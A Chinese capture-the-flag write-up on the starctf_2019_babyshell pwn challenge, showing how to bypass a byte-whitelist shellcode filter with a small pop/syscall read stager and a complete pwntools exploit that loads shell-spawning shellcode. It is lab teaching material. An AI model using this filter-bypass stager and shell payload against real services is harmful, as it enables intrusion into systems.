starctf_2019_babyshell
starctf_2019_babyshell
有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。
我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

IDA分析

首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。
我们再来看看0x400987处的数据。

这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdx、 pop rdi、 syscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。
要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。
我们把程序下断点到call rdx

观察栈的内容

pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall
shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。
调用sys_read覆写我们的shellcode

'a'*0xC + asm(shellcraft.sh()
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process('./starctf_2019_babyshell')
#gdb.attach(p,'b *0x4008CB')
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
p.sendlineafter(' plz:\n',shellcode)
sleep(1)
p.sendline('a'*0xC + asm(shellcraft.sh()))
p.interactive()
starctf_2019_babyshell的更多相关文章
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
随机推荐
- git设置、查看、取消代理
设置代理: git config --global http.proxy 'socks5://127.0.0.1:1080' git config --global https.proxy 'sock ...
- C++算法代码——快速排序
题目来自:http://218.5.5.242:9018/JudgeOnline/problem.php?cid=1371&pid=1 题目描述 第一行一个数字n, n<=100000. ...
- MFC多文档程序启动无子窗口的实现
刚学MFC的我们,肯定会从一个基本MFC程序开始. 而VC++6.0的MFC基础类提供了三种创建方式:单文档.多文档.对话框. 当我们创建多文档应用程序的时候,会自动启动一个子窗口. 在我们平时使用软 ...
- Vue学习笔记-Vue.js-2.X 学习(一)===>基本知识学习
一 使用环境: windows 7 64位操作系统 二 IDE:VSCode/PyCharm 三 Vue.js官网: https://cn.vuejs.org/ 四 下载安装引用 方式1:直接 ...
- ElasticSearch 中的 Mapping
公号:码农充电站pro 主页:https://codeshellme.github.io 1,ES 中的 Mapping ES 中的 Mapping 相当于传统数据库中的表定义,它有以下作用: 定义索 ...
- Docker备份迁移
目录 Docker备份迁移 1.容器保存为镜像 2.镜像打包成压缩文件 3.把压缩文件恢复成镜像 Docker备份迁移 1.容器保存为镜像 将已经装好各种软件的容器再次打包为镜像,这样下次直接装这个镜 ...
- Hexo一键部署到阿里云OSS并设置浏览器缓存
自建博客地址:https://bytelife.net,欢迎访问! 本文为博客自动同步文章,为了更好的阅读体验,建议您移步至我的博客 本文作者: Jeffrey 本文链接: https://bytel ...
- 几种常见css布局
单列布局 第一种 给定宽度,margin:auto 即可实现 html <div class="header"></div> <div class=& ...
- 力扣168. Excel表列名称
原题 1 class Solution: 2 def convertToTitle(self, n: int) -> str: 3 s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ ...
- QQ 邀你上线小程序,官方生态能力持续赋能你的小程序
转: QQ 邀你上线小程序,官方生态能力持续赋能你的小程序 你身边总有一些朋友,他们的表情包极其丰富,能时刻应对各种聊天场景. 表情包奇奇怪怪,可可爱爱,非常形象生动体现我们当下的心情,逐渐成为社交平 ...